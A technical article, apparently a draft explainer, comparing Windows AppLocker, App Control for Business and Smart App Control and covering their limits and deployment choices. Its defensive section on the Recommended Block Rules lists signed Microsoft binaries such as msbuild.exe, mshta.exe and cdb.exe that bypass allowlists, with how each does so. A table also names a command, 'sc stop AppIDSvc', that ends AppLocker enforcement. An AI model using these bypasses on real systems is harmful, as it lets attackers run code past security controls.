The misconception this section closes is that ISG is a list of curated allowed apps -- a corporate-managed allowlist administered by Microsoft. It is not. The original 00-input.md for this article framed ISG as "cloud-reputation-driven allow-listing", which is half-true in spirit and wrong in mechanism. ISG is reputation. The allowlist is what the App Control policy still has to author explicitly.

Note: The phrase Intelligent Trusted List and the acronym ITL surface periodically in AI summaries and in third-party blog posts that describe App Control features. No such Microsoft feature exists. A search of Microsoft Learn produces zero results; the URLs cited by AI summaries return 404; and the definitions offered by AI summaries contradict each other. The closest real Microsoft features are ISG (this section), the Microsoft Recommended Block Rules (section 8), and Smart App Control (section 9). If you see ITL in a security blog, treat it as a fabrication and ignore it.

ISG turns an App Control policy into a hybrid: explicit rules plus a reputation tap. But it is still an allowlist, and an allowlist has a structural ceiling. Microsoft itself published the consequence as a block list. Why?

8. The Bypass Reality -- Recommended Block Rules and the LOLBin Corpus

Microsoft's own Microsoft Learn page lists approximately forty Microsoft-signed binaries that can bypass an App Control allow rule on themselves. The page is called Applications that can bypass App Control and how to block them [@ms-appcontrol-bypass]. Why does Microsoft publish a list of its own bypassable signed binaries?

Because if your App Control policy says "allow Microsoft-signed code", then it admits each of those forty binaries -- and each one is a way to run attacker-supplied code while complying with the policy. The publisher gate cannot evaluate side effects.

A binary already present on the operating system, typically signed by the OS vendor, that an attacker can repurpose to perform actions a security control would otherwise block. The canonical Windows LOLBin classes are script interpreters bundled with the OS or runtime (`mshta.exe`, `wscript.exe`), build tools that compile and execute attacker-supplied source (`msbuild.exe`, `csi.exe`, `dotnet.exe`), debuggers that script their own target (`cdb.exe`, `windbg.exe`), and registration utilities that load arbitrary DLLs into a signed host (`regsvr32.exe`, `rundll32.exe`). The community-curated LOLBAS Project [@lolbas-project] catalogues hundreds.

The named-researcher chain that drove the Recommended Block Rules is a who-is-who of mid-2010s Windows offensive research:

cdb.exe -- Matt Graeber, August 2016, preserved in the Wayback Machine [@exploit-monday-cdb-wayback]. The Windows debugger ships signed by Microsoft and includes a scripting facility that runs arbitrary shellcode in memory. Graeber's blog post asked, in his own words, "what is a tool that's signed by Microsoft that will execute code, preferably in memory?" and answered "WinDbg/CDB of course!"
csi.exe -- Casey Smith, September 2016, preserved in the Wayback Machine [@subt0x10-csi-wayback]. The C# interactive compiler, distributed with Visual Studio, is signed by Microsoft and runs arbitrary C# fragments via Assembly.Load().
dnx.exe -- Matt Nelson, November 2016 [@enigma0x3-dnx-2016]. The early .NET Core host that loads and executes arbitrary .NET assemblies under a signed Microsoft binary.
addinprocess.exe / addinprocess32.exe -- James Forshaw, July 2017 [@tiraniddo-dg-2017]. The Visual Studio add-in host that can be coerced into loading an attacker DLL while the parent process satisfies the signed-publisher policy.
dotnet.exe -- Jimmy Bayne, August 2019 [@bohops-dotnet-awl]. The shipping .NET host with the same fundamental capability as dnx.exe but with a 2019-vintage attack surface and a live PoC against both AppLocker and WDAC.

The operational entries practitioners encounter most often are msbuild.exe (the C# / MSBuild compiler that can execute inline build tasks), mshta.exe (the HTML application host), wmic.exe (which can load XSL stylesheets that execute arbitrary script), wscript.exe (Windows Script Host), and bash.exe / wsl.exe (the WSL launchers, which provide an entirely separate execution environment outside the policy's reach).

Binary	Capability that enables the bypass	Original researcher	Source
`cdb.exe`	Debugger scripting facility executes shellcode in memory	Matt Graeber, Aug 2016	[@exploit-monday-cdb-wayback]
`csi.exe`	C# interactive compiler, `Assembly.Load()` over arbitrary C#	Casey Smith, Sep 2016	[@subt0x10-csi-wayback]
`dnx.exe`	Early .NET Core host, loads arbitrary assemblies	Matt Nelson, Nov 2016	[@enigma0x3-dnx-2016]
`addinprocess.exe`	Visual Studio add-in host loads attacker DLL	James Forshaw, Jul 2017	[@tiraniddo-dg-2017]
`dotnet.exe`	Modern .NET host, AWL bypass via assembly loading	Jimmy Bayne, Aug 2019	[@bohops-dotnet-awl]
`msbuild.exe`	Inline `Task` in build XML compiles and runs C# at build time	community	[@ms-appcontrol-bypass]
`mshta.exe`	HTA host evaluates VBScript / JScript	community	[@ms-appcontrol-bypass]
`wmic.exe`	XSL stylesheet evaluation runs arbitrary script	community	[@ms-appcontrol-bypass]
`bash.exe` / `wsl.exe`	Launches WSL kernel, an environment outside App Control	community	[@ms-appcontrol-bypass]

The structural limit being demonstrated. A publisher-gate allowlist cannot evaluate what a signed binary will do after it starts. If the policy allows Microsoft-signed code, it has no way to know that msbuild.exe will compile and execute attacker-supplied C# at runtime. The same kind of structural ceiling that applied to AppLocker's user-mode evaluator applies to App Control's publisher gate. Different mechanism, different layer; same kind of structural ceiling.

flowchart LR A["Signed binary loads"] --> B["Policy admits publisher"] B --> C["Binary starts"] C --> D["Binary reads attacker-controlled input"] D --> E["Attacker-controlled code runs"] note["No policy-time check can prevent this"] E -. observed by .- note

The community corpus. Jimmy Bayne's bohops/UltimateWDACBypassList [@github-ultimatewdacbypass] preserves per-binary attribution to Forshaw, Smith, Nelson, Graeber, Moe, and others. Pair with the LOLBAS Project [@lolbas-project] as the cross-platform LOLBin catalogue and you have the empirical record the Recommended Block Rules canonicalise.

Microsoft's response was institutional, not architectural. Publish the inverse list and update it continuously. The Microsoft Recommended Block Rules policy is the canonical mitigation [@ms-appcontrol-bypass]. Snapshots of the page through 2019, 2020, 2022, and 2023 show a monotonically growing enumeration: a handful of entries at first, around forty by 2026, with each addition traceable to a named-researcher write-up.Matt Graeber's original 2016 cdb.exe write-up URL www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html now serves an unrelated 2011 NTFS-ADS post (also by Graeber, but pre-cdb-era). The verbatim August 2016 LOLBin post is preserved in the Wayback Machine [@exploit-monday-cdb-wayback]. The attribution is independently triangulated by the Microsoft Recommended Block Rules page itself ("Microsoft recognizes ... Matt Graeber") [@ms-appcontrol-bypass] and by bohops/UltimateWDACBypassList [@github-ultimatewdacbypass].

The article must state plainly: "App Control with the Recommended Block Rules" and "App Control without them" are not the same product. The block list is load-bearing.

DO NOT consider any application whitelisting solution to be secure against a bored member of staff. -- James Forshaw, *DG on Windows 10 S* [@tiraniddo-dg-2017]

Operational cost is non-zero. The webclnt.dll block in the Recommended Block Rules has a documented practitioner side effect. Peter Upfold's July 2024 write-up [@upfold-webclnt-word-hang] documents a 5-15 second Word "not responding" hang on OneDrive / SharePoint saves caused specifically by that block, on machines with App Control for Business enforcing the Microsoft Recommended Block Rules. The mitigation has a cost. Honest deployment means measuring the cost against the threat it addresses.

Peter Upfold reported in July 2024 [@upfold-webclnt-word-hang] that *"users were experiencing a 5-15 second delay when saving a document to OneDrive or SharePoint, during which Word would show as 'not responding.' All machines in question use App Control for Business (WDAC)."* The cause was the `webclnt.dll` entry in the Microsoft Recommended Block Rules, which blocks the WebDAV redirector. WebDAV is the underlying transport Office uses for some OneDrive / SharePoint save paths. The block exists because `webclnt.dll` has historically been used by attackers to coerce NTLM authentication to attacker-controlled UNC paths; the side effect is a Word hang on legitimate saves. This is the texture of *"App Control with the Recommended Block Rules"*: not theoretical, not free.

Tie back to the thesis. The bypass corpus does not undermine App Control's security-boundary status. It underlines that without the Recommended Block Rules, an App Control "allow all Microsoft-signed code" policy is not a coherent security policy. The boundary holds because Microsoft and the community continuously update the inverse list.

Note: The MSRC servicing-criteria classification of App Control as a security feature assumes the Recommended Block Rules are merged into the policy. An App Control deployment that allows Microsoft-signed code without the Block Rules is enforcement-of-a-name, not enforcement-of-a-capability. The single most-skipped step in production deployments is the merge of the Recommended Block Rules and the Vulnerable Driver Blocklist into the active policy.

If both AppLocker and App Control have structural ceilings, and Microsoft maintains them both, the question is not "which one is correct?" It is: what is Microsoft's third application-control product, who is it for, and how does it relate to the first two? That is Smart App Control.

9. Smart App Control -- The Adjacent Consumer Application

Windows 11 22H2 ships on September 20, 2022 [@blogs-windows-22h2-launch] [@ms-lifecycle-win11-enterprise]. Microsoft introduces Smart App Control (SAC) for consumer Windows. It runs on the same kernel CI machinery as App Control for Business [@ms-smart-app-control]. It is not App Control for Business. Why is it a distinct product?

The mechanism. SAC uses the same ci.dll evaluator as App Control for Business. Its decision source is ISG, with a fallback to "valid signature from a Trusted Root CA" when ISG has no verdict [@ms-smart-app-control]. The enforcement is gated on by default on a clean install of Windows 11 22H2 or later.

The product is categorically different.

Unmanaged: no admin policy, no GPO, no Intune authoring surface.
All-or-nothing: there is no per-app rule list. Either SAC is on for the device, or it is off.
Auto-disables silently: when the device's telemetry suggests SAC would be disruptive, it can disable itself without prompting the user [@ms-smart-app-control].
Enterprise-managed devices keep it off: SAC stays off if "your device is enterprise-managed or developer-mode has been configured" [@ms-support-sac-faq].

A consumer-grade Windows 11 application-control feature that uses the same kernel CI evaluator as App Control for Business but provides no policy authoring surface. SAC consults the Intelligent Security Graph for reputation and a Trusted Root CA signature fallback for unknown binaries. SAC is binary: on (enforcing for the device) or off. It is enabled by default on clean installs of Windows 11 22H2 and later for unmanaged consumer devices [@ms-smart-app-control] [@ms-support-sac-faq].

The 2026 update most older write-ups still get wrong. SAC can be re-enabled without a clean install on current Windows versions. The Microsoft Support FAQ [@ms-support-sac-faq] states: "Recent Windows updates allow Smart App Control to be enabled within the Windows Security App without requiring a clean installation" and "Recent Windows updates allow Smart App Control to be re-enabled without requiring a clean installation." If you read a blog post that claims SAC requires a Windows 11 reinstall to enable, that post pre-dates these updates. The current SAC state-machine vocabulary is evaluation mode (not audit mode) [@ms-smart-app-control].

Note: The widely-cited 2022-era guidance that "to turn on Smart App Control, a Windows 11 reinstall is required" is no longer true [@ms-support-sac-faq]. Microsoft has shipped the in-place enable / re-enable surface in the Windows Security app. If your reading list still warns of the reinstall requirement, the warning is empirically outdated as of 2026.

The Microsoft documentation about SAC is itself inconsistent on this point. The Smart App Control overview developer page still says SAC "can only be enabled on a clean install of a version of Windows that contains the Smart App Control feature" and lists "A clean Windows install" as a SAC requirement [@ms-smart-app-control], while the Microsoft Support FAQ [@ms-support-sac-faq] documents the in-place re-enable surface. The FAQ is the more current source and is the one Microsoft updates when servicing changes the behaviour; the developer overview page lags. Practitioners reading the two pages back-to-back should treat the FAQ as authoritative for current Windows.

Why SAC is not "WDAC for consumers": the enforcement engine is approximately the same, but the product is categorically different. Unmanaged, all-or-nothing, ISG-gated, silently auto-disables. The kernel is the same; the management story is the inverse. The FAQ in section 15 flags this misconception explicitly.

Three products now sit in the inventory: AppLocker, App Control for Business, Smart App Control. The practitioner question is no longer "which one is best?" It is "which one fits which deployment?" That is the job of the next section.

10. Side-by-Side Comparison -- The Practitioner Matrix

Most comparisons of AppLocker and App Control are organised by feature inventory. That answers the wrong question. Organise the comparison by what the security practitioner actually needs to decide, and the line between the two becomes obvious.

Practitioner-decision dimension	AppLocker	App Control for Business
MSRC servicing-criteria classification	Defense-in-depth (not a security feature) [@ms-appcontrol-applocker-overview]	Security feature when signed policy and HVCI [@ms-appcontrol-applocker-overview]
Enforcement locus	User-mode `AppIDSvc` + kernel `AppID.sys` minifilter [@ms-applocker-architecture]	Kernel `ci.dll` (HVCI: VTL1) [@ms-hvci]
Survives `SYSTEM`-equivalent attacker	No -- `sc stop AppIDSvc` ends enforcement	Yes, when policy is signed and HVCI is on
Per-user / per-group rules	Yes [@ms-appcontrol-feature-availability]	No (whole-device) [@ms-appcontrol-feature-availability]
Driver coverage	No (drivers go through KMCS / DSE)	Yes -- App Control policy can govern drivers as a peer of KMCS
`.bat` / `.cmd` script enforcement	Yes [@ms-applocker-rules]	No -- script enforcement is host-cooperative and `cmd.exe` is not enlightened [@ms-appcontrol-script-enforcement] [@ms-appcontrol-feature-availability]
Signing infrastructure required	None	Internal code-signing PKI required for signed policy (the security-boundary configuration)
Reboot required to apply policy changes	No (immediate take-effect through AppIDSvc)	Yes for signed policies (because the trusted-signer set is sealed at boot)
GPO deployment	Mature dedicated UI	Single-policy XML through Administrative Templates -> System -> Device Guard
MDM / Intune deployment	AppLocker CSP (in maintenance) [@ms-applicationcontrol-csp]	ApplicationControl CSP (multi-policy, where new feature work lands) [@ms-applicationcontrol-csp] [@ms-intune-app-control]
Active feature development	None -- "isn't getting new feature improvements" [@ms-appcontrol-applocker-overview]	Yes -- multi-policy cap removed April 2024 [@ms-appcontrol-multi-policy], Server 2025 OSConfig integration [@techcommunity-osconfig-server-2025]
Canonical bypass corpus	Oddvar Moe `UltimateAppLockerByPassList` [@github-ultimateapplockerbypass]	Jimmy Bayne `bohops/UltimateWDACBypassList` [@github-ultimatewdacbypass]; Microsoft Recommended Block Rules [@ms-appcontrol-bypass]

The table does not say "AppLocker bad, App Control good." It says the two are non-substitutable. AppLocker gives you per-user policy on devices that do not have a code-signing PKI. App Control gives you a real security boundary on devices that do.

Every "App Control = Yes" row in the security-boundary direction is gated on the policy being signed and HVCI being on. Every "AppLocker = Yes" row in the per-user direction comes with the user-mode-service ceiling. The article repeats these gating conditions in the prose so the reader does not over-read the table.

flowchart TB subgraph Quad["Threat-model fit"] AL["AppLocker
per-user yes, admin-resistant no
(operational hygiene)"] AC["App Control for Business
per-user no, admin-resistant yes
(security boundary, when signed and HVCI)"] SAC["Smart App Control
per-user no, admin-resistant partial
(consumer, unmanaged)"] None["No allowlist
per-user no, admin-resistant no
(default Windows)"] end The comparison table is intentionally pitched at the practitioner-decision layer. It does not show audit-mode behaviour (both products support it), the specific Event Log IDs (AppLocker logs to `Microsoft-Windows-AppLocker/*`, App Control to `Microsoft-Windows-CodeIntegrity/*`), the reboot semantics for unsigned vs signed App Control policies (unsigned changes can take effect without reboot in some configurations; signed changes require a reboot to refresh the trusted signer set), or the specific PowerShell cmdlet inventory. These details matter operationally and are covered on Microsoft Learn [@ms-appcontrol-applocker-overview] [@ms-applicationcontrol-csp]; they do not change the decision shape and are excluded from the comparison for word budget.

Key idea: AppLocker and App Control for Business are non-substitutable. The line between them is not new vs old; it is per-user without PKI vs security boundary with PKI. A deployment that needs both -- per-user policy on some collections and a real security boundary on others -- runs both side by side, which is exactly the configuration Windows 11 24H2 supports.

The table makes the what explicit. The why both still ship is still left implicit. The next section makes the case explicit, including the load-bearing negative citation that AppLocker is not on Microsoft's deprecated-features page as of February 2026.

11. Why Both Still Ship -- and Why "AppLocker Is Deprecated" Is Folklore

A line that has circulated in community summaries since 2023: "AppLocker is being sunsetted, migrate to WDAC." Is that line true?

The load-bearing negative citation. As of the February 2, 2026 update of Microsoft Learn's Deprecated features in the Windows client page [@ms-deprecated-features], AppLocker is not on the list. The page enumerates features Microsoft has formally deprecated -- WMIC, PowerShell 2.0, NTLM, DirectAccess, Maps, EdgeHTML, Paint 3D, the LPR/LPD print services, the UWP Map control. AppLocker is not among them.

What Microsoft does say, taken verbatim from the App Control and AppLocker Overview page [@ms-appcontrol-applocker-overview]:

As established in §4, Microsoft's own servicing-criteria language disqualifies AppLocker as a security feature [@ms-appcontrol-applocker-overview]; the load-bearing point for this section is the second half of the same page.
"Although AppLocker continues to receive security fixes, it isn't getting new feature improvements."

Although AppLocker continues to receive security fixes, it isn't getting new feature improvements. -- Microsoft Learn, *App Control and AppLocker Overview* [@ms-appcontrol-applocker-overview]

The October 8, 2024 cumulative update KB5044288 (OS Build 25398.1189, Windows Server, version 23H2) confirms the "continues to receive security fixes" claim with a concrete servicing fix [@ms-kb-5044288]: the release notes specifically include "[AppLocker] Fixed: The rule collection enforcement mode is not overwritten when rules merge with a collection that has no rules. This occurs when the enforcement mode is set to 'Not Configured.'" The fix shipped on the Server SKU first; the AppLocker code path is shared, so the fix appears on the client SKUs through their parallel monthly servicing. AppLocker is in maintenance mode, not deprecation.

Five reasons AppLocker still ships in 2026.

Reason	Practitioner consequence	Source
Per-user rules	App Control is whole-device. Multi-user terminal-server, Citrix VDI, and education labs need per-user policy.	[@ms-appcontrol-feature-availability]
No signing infrastructure required	App Control's tamper-resistance story requires an internal code-signing PKI; AppLocker requires none.	[@ms-appcontrol-applocker-overview]
GPO ergonomics	AppLocker has a mature dedicated GPO UI; App Control GPO deployment is single-policy format only (multi-policy requires the `ApplicationControl` CSP).	[@ms-applicationcontrol-csp]
Installed base	Existing AppLocker deployments work; ripping them out for a different security model has migration cost without a forced trigger.	[@ms-appcontrol-applocker-overview]
Threat-model fit	Some organisations only need to keep end users from running random downloads -- the operational hygiene threat model. AppLocker fits that model and admits its scope.	[@ms-appcontrol-applocker-overview]

The first reason is the load-bearing one. The kernel ci.dll evaluator does not consult per-user token context as a policy input; the App Control policy is whole-device by design. Until that changes, any environment whose risk model depends on different rule sets for different user identities -- terminal servers, RDS hosts, Citrix VDI, education labs, kiosks shared by multiple users -- has to keep AppLocker even if every other dimension would point toward App Control.

The community-folklore correction. The "AppLocker is deprecated" line is not Microsoft's position. The Microsoft position is the comparative one in App Control and AppLocker Overview: App Control is the recommended security feature; AppLocker is the supported parallel option for the scenarios above. The strongest defensible characterisation of AppLocker's roadmap is "feature complete, not actively developed, continues to receive security fixes" -- not "deprecated." Microsoft's Deprecated features in the Windows client page reinforces this in an unexpected direction [@ms-deprecated-features]: when the page deprecated Microsoft Defender Application Guard for Office, it recommended transitioning to "Microsoft Defender for Endpoint attack surface reduction rules along with Protected View and Windows Defender Application Control" -- a Microsoft-curated recommendation that names App Control as the forward-looking layer, not the legacy one.The KB5044288 October 2024 fix [@ms-kb-5044288] is the concrete proof-point that the "security fixes" claim is observable. It addresses a specific AppLocker rule-merge bug. A genuinely deprecated feature does not get bug fixes shipped on Patch Tuesday two years after rename.

Note: The phrase frequently appears in community summaries, conference slides, and migration-vendor sales decks. It is not in Microsoft Learn. AppLocker is not on the deprecated-features list [@ms-deprecated-features] as of February 2026, it continues to receive security fixes [@ms-kb-5044288], and Microsoft Learn explicitly preserves it for the scenarios where App Control is not a substitute [@ms-appcontrol-applocker-overview]. If your migration plan rests on the assumption that AppLocker will be removed soon, the assumption does not have a public Microsoft commitment behind it.

If both still ship, the natural next question is not which one to use today but where the ceiling for any allowlist mechanism is. That ceiling is structural, it is the same for AppLocker, App Control, and SAC, and the research community has named it.

12. Theoretical Limits -- What No Allowlist Can Do

The publisher-gate structural limit shown in section 8 was specific to App Control. Here is the more general version of the same observation: application control cannot evaluate side effects. The same ceiling applies to AppLocker, App Control, SAC, ISG, every Microsoft Recommended Block Rules iteration, and every third-party product in the same market.

The structural claim is folklore-level but universally observed; no published impossibility theorem yet states it formally. The closest standard result is Rice's theorem: any non-trivial behavioural property of a Turing-complete program is undecidable in the general case. A publisher-gate allowlist asks a behavioural question -- "will this binary do something that violates policy?" -- and answers it with a structural fact -- "who signed it?" The mismatch is not a defect of any individual allowlist product; it is a working bound the field treats as a corollary of Rice. The policy evaluator runs before the binary starts. It knows what the binary is -- the signer subject, the file hash, the path on disk, the Authenticode metadata. It does not know what the binary will do. If msbuild.exe is signed by Microsoft and the policy allows Microsoft-signed binaries, the policy has no way to know that msbuild.exe will then read an attacker-controlled .csproj file containing an inline <Task> element and compile and execute the attached C# at runtime.

This is the structural reason Microsoft publishes the Recommended Block Rules [@ms-appcontrol-bypass]. It is also the structural reason "allow all Microsoft-signed code" is not a security policy -- it is a starting point.

As established in §4 and §8, the bound is observed from both sides of the asymmetric arms race. External offensive research arrives at the "bored member of staff" framing in the Windows 10 S analysis [@tiraniddo-dg-2017]; the Microsoft-employed authors of the canonical deployment baseline arrive at the "determined user with administrative rights" framing in the AaronLocker README [@github-aaronlocker]. Two independent perspectives, the same ceiling stated in their own vocabularies. §12's contribution is not to re-quote either; it is to name the structural reason both arrive at the same place.

Key idea: The publisher-gate ceiling is not an artefact of AppLocker's user-mode design or App Control's kernel-but-publisher design. The ceiling is a property of the allowlist model whose allow signal is "this code is from a publisher I trust" instead of "this code's runtime behaviour matches a trusted policy." Closing the ceiling would require policy-time content semantics, which no Microsoft-shipped mechanism provides today.

The folklore claim *"a publisher-gate allowlist cannot evaluate side effects"* does not have a published formal impossibility result in the cryptography or program-analysis literature. Rice's theorem supplies the necessary-condition argument used above -- any non-trivial behavioural property of programs is undecidable in the general case -- but a tighter result calibrated to publisher-gate allowlists would have to constrain the adversary model (for example, bound the candidate input space or restrict the binary's capability surface) before any positive decidability claim becomes possible. The application-control literature has not crossed that bar; this article does not either.

If the ceiling is structural, what is the research community actively trying that might push it upward? Microsoft is not the only player; the field has named open problems.

13. Open Problems and Active Research

Seven open problems the field has named but not closed. The most honest framing is: each one has a Microsoft partial-mitigation, none has a clean solution. Each is treated below with the problem statement, the empirical or architectural evidence, the current Microsoft (and where relevant, regulatory) mitigation, and the residual gap.

1. Continuous catch-up against new Microsoft-signed LOLBins. Every new signed binary that takes a "run code from this file" argument is a candidate addition to the Recommended Block Rules [@ms-appcontrol-bypass]. The list is by construction monotonic and never complete. The empirical evidence is the lag between a LOLBin's public disclosure and its appearance on the Microsoft page, observable in Wayback Machine snapshots of the page. Three case studies bracket the lag range. Matt Graeber's August 2016 cdb.exe shellcode-runner write-up [@exploit-monday-cdb-wayback] appears on the recommended-block-rules page in the months that followed. Jimmy Bayne's August 2019 dotnet.exe write-up [@bohops-dotnet-awl] appears in a batch of additions roughly a year later. Peter Upfold's mid-2024 webclnt.dll-via-Word issue [@upfold-webclnt-word-hang] was a hang, not a LOLBin, but the WebDAV / WebClient surface had appeared in the page revisions of the prior couple of years. The case studies suggest a working practitioner bound: lags between a public LOLBin disclosure and a corresponding entry on the Microsoft Recommended Block Rules page range from several months to over a year, with longer tails for less load-bearing additions. A practitioner planning App Control deployments should not wait for the Microsoft page to catch up; merge community lists (LOLBAS [@lolbas-project], bohops/UltimateWDACBypassList [@github-ultimatewdacbypass]) into your own enforcement explicitly. The open research question is whether a binary's capability surface -- does it load arbitrary code? does it invoke a script host? -- can be inferred at scale, so the block list is generated rather than curated. Static analysis identifies some signals (a binary that imports LoadLibrary and GetProcAddress is at minimum suspect), but no Microsoft-shipped tool does this automatically across the signed-binary surface.

2. Signed-but-vulnerable drivers (BYOVD). WHQL-signed drivers with kernel-mode vulnerabilities remain App Control's hardest residual class. Microsoft layers three distinct mitigations against this class, each at a different point in the load path. Load-time: the Vulnerable Driver Blocklist [@ms-driver-block-rules] is a policy fragment enforced by ci.dll at every driver-load callback; the page itself admits the constraint plainly with "the vulnerable driver blocklist isn't guaranteed to block every driver found to have vulnerabilities." Write-time: the Defender for Endpoint Attack Surface Reduction rule "Block abuse of exploited vulnerable signed drivers" [@ms-asr-rules-reference] intercepts an attempt to write a known-bad signed driver to disk, blocking the deployment step rather than the load step. Post-load: HVCI (memory integrity) [@ms-hvci] [@ms-support-memory-integrity] running in VTL1 ensures that a driver that does load -- whether through a gap in the blocklist or because the device is not enrolled in ASR -- cannot grant attacker-controlled code write access to kernel memory or unsigned execution capability. The three layers compose: ASR is the perimeter, the blocklist is the gate, HVCI is the post-load containment.

flowchart TD Attacker["Attacker with admin
brings vulnerable signed driver"] L1["Write-time ASR rule
Block abuse of exploited
vulnerable signed drivers"] L2["Load-time Vulnerable
Driver Blocklist
(ci.dll, kernel)"] L3["Post-load HVCI
(VTL1, secure kernel)"] Bypass["Residual: driver not on
blocklist + ASR disabled
+ HVCI off or vulnerability
HVCI does not contain"] Attacker --> L1 L1 -- if not blocked --> L2 L2 -- if not blocked --> L3 L3 -- if not contained --> Bypass

The Microsoft-recommended driver blocklist is published in two physical forms. The version baked into Windows ships through monthly Windows Update servicing. A separately downloadable XML at aka.ms/VulnerableDriverBlockList is updated on its own cadence and is usually more complete than the version in-box on a given Patch Tuesday. The companion Driver Signing article in this pipeline covers KMCS, DSE, and the BYOVD class in depth; this section's BYOVD treatment is intentionally scoped to App Control's layered-mitigation role.

3. Cloud-evaluated allow decisions (ISG, SAC). The decision authority for "is this binary allowed?" is moving off-device to Microsoft's reputation services. Latency, offline-mode behaviour, and policy-transparency consequences are open practitioner concerns. Known good reputation can lag for newly-signed binaries; unknown defaults can disrupt legitimate workflows; the verdict itself is opaque to the organisation deploying the policy. The mechanism is documented [@ms-appcontrol-isg]; the operational implications continue to be discovered in production. The regulatory framing is the sharpest published constraint: the Australian Cyber Security Centre's Implementing application control page [@acsc-essential-eight-appcontrol] is unambiguous that cloud-reputation-driven decisioning, by itself, does not qualify as application control under the Essential Eight maturity model.

The ACSC lists "checking the reputation of an application using a cloud-based service before it is executed" among the practices under the heading "What application control is not." -- Australian Cyber Security Centre, *Implementing application control* [@acsc-essential-eight-appcontrol]

NIST SP 800-167 [@nist-sp-800-167] uses gentler language but arrives at the same operational conclusion: cloud-evaluated reputation is an additive signal, not an authoritative one. The practitioner consequence: an App Control policy that relies on ISG for its allow decisions in a regulated cardholder, classified, or critical-infrastructure environment will be flagged by both regimes. ISG and SAC remain useful additive signals; they do not substitute for an explicit allow policy authored and signed on-premises.

4. AI-assisted policy generation. AaronLocker [@github-aaronlocker] [@github-aaronlocker-script] is the canonical example of a heuristic generator -- it builds "audit" and "enforce" rule sets from observed telemetry, with explicit user-writeability pruning via Sysinternals AccessChk [@ms-accesschk]. ML-assisted variants are an active third-party space. The article is honest about not inventing specific Microsoft features that do not exist; the "ITL" fabrication is the failure mode this avoids. The honest 2026 status of generative policy authoring inside Microsoft's own tooling is that Microsoft has shipped a Security-Copilot-powered Policy Configuration Agent for Intune, scoped to the settings catalog (device-configuration profiles), with no App-Control-specific surface.

Note: The Security-Copilot-powered Policy Configuration Agent in Microsoft Intune [@ms-intune-policy-configuration-agent] [@ms-intune-manage-policy-configuration-agent] assists administrators with settings catalog policies. The agent's role requirement is the Intune Policy and Profile manager RBAC role; the surface it operates on is device-configuration profiles, not App Control XML. The Intune Copilot agent overview [@ms-intune-copilot-overview] confirms the inventory of shipped agents and does not include an App-Control-authoring agent. The article does not assert that Microsoft has shipped end-to-end generative App Control policy authoring because, as of June 2026, Microsoft has not. The closest production workflow is the audit-mode-then-merge loop in ConfigCI, and the closest automatic allow-listing signal is Intune-Management-Extension-as-managed-installer.

5. Per-user without losing the kernel boundary. App Control is whole-device; this is section 11's reason number one for why AppLocker still ships. No public Microsoft roadmap addresses per-user rules in App Control. Closing this would let App Control fully replace AppLocker in VDI / Citrix / terminal-server scenarios. The kernel evaluator has no per-user-token context by design, and adding it without compromising the boundary's tamper-resistance is a non-trivial design problem: per-user policy would have to be authored, signed, and refreshed at logon time without admitting an attacker who can forge a token into authoring their own per-user allow rule.

6. .bat / .cmd script enforcement. AppLocker's Script collection covers them [@ms-applocker-rules]; App Control's script enforcement is host-cooperative [@ms-appcontrol-script-enforcement] and cmd.exe is not an enlightened host. This is a documented gap [@ms-appcontrol-feature-availability] that has persisted since launch. Microsoft Learn is unusually direct about what the limitation actually means and what the recommended mitigation is.

App Control doesn't directly control code run via the Windows Command Processor (cmd.exe), including .bat/.cmd script files. However, anything that such a batch script tries to run is subject to App Control control. If you don't need to run cmd.exe, it's recommended to block it outright or allow it only by exception based on the calling process. -- Microsoft Learn, *Script enforcement with App Control* [@ms-appcontrol-script-enforcement]

The architectural fix would require either cmd.exe enlightenment (a substantial change to a binary with three decades of behavioural compatibility) or a kernel-side script-execution hook that does not exist today. Until then, the recommended mitigation is the one Microsoft itself names: deny cmd.exe by default in the App Control policy and allow it by exception based on the calling process, or rely on AppLocker's Script collection on the same device in parallel for the .bat / .cmd workload.

7. AppLocker's end state. It is not deprecated [@ms-deprecated-features]; it is not actively developed [@ms-appcontrol-applocker-overview]; it continues to receive security fixes [@ms-kb-5044288]; and Microsoft Learn explicitly recommends the App Control / AppLocker pair as the substitute path for the now-deprecated Microsoft Defender Application Guard for Office [@ms-deprecated-features]. The article should not speculate about a deprecation date Microsoft has not announced. The open question is operational: when, if ever, will the practitioner reasons in section 11 (per-user, no-PKI, GPO ergonomics, installed base, threat-model fit) be obsolete? Until App Control gains per-user rules, the answer is not soon. The lifecycle-quantification evidence is unambiguous on the direction of travel: the negative citation on the deprecated-features page, the comparative-recommendation positive characterisation in App Control and AppLocker Overview, the KB5044288 Patch Tuesday servicing fix, and the AppLocker recommended as MDAG-substitution finding from the deprecated-features page itself all point the same way.

Note: The Microsoft-org-hosted WDAC-Toolkit repository [@github-wdac-toolkit] is the source repo for the App Control Wizard and the most reliable channel for App Control authoring-tool updates. The bohops UltimateWDACBypassList [@github-ultimatewdacbypass] is the canonical community corpus that feeds the Recommended Block Rules attribution chain. The LOLBAS Project [@lolbas-project] is the cross-platform LOLBin catalogue. For BYOVD, the Microsoft Vulnerable Driver Blocklist page [@ms-driver-block-rules] is the running mitigation index, with the downloadable XML at aka.ms/VulnerableDriverBlockList as the more-current sibling.

The structural ceiling is real and the research direction is open. Within the bounds that exist today, what should a 2026 practitioner actually do? That is a decision tree, not an essay.

14. The Practitioner Decision Tree -- Picking and Deploying in 2026

Five questions, in order. Answer them and you have a deployment plan.

1. Do you need per-user rules and you do not have a code-signing PKI? -> Deploy AppLocker. Use AaronLocker [@github-aaronlocker] [@github-aaronlocker-script] as the deployment-tooling baseline. AaronLocker's Create-Policies.ps1 runs Sysinternals AccessChk [@ms-accesschk] against %ProgramFiles% and %SystemRoot% to identify user-writable subdirectories and produce a thorough audit policy you tune from telemetry before flipping enforcement on.

2. Do you need a real security boundary against admin-equivalent attackers? -> Deploy App Control for Business with a signed policy (signed by your organisation's PKI, not by the publisher of any individual application) and HVCI on. Anything less and you do not have the configuration the MSRC servicing criteria treat as a security boundary.

3. Do you have a managed software distribution mechanism (Configuration Manager, Intune, Patch My PC, third-party tooling)? -> App Control for Business with Managed Installer enabled [@ms-appcontrol-managed-installer] [@ms-intune-app-control]. Tagging the deployment agent as a managed installer trust-propagates that agent's installs into the policy without requiring you to enumerate every binary it deploys.

4. Do you have a long tail of unmanaged user apps you cannot enumerate? -> App Control for Business with ISG enabled [@ms-appcontrol-isg]. But never as the only authorisation path for business-critical apps. ISG is additive, not authoritative.

5. Consumer or un-managed Windows 11 device? -> Smart App Control, if eligible [@ms-smart-app-control] [@ms-support-sac-faq]. Otherwise nothing.

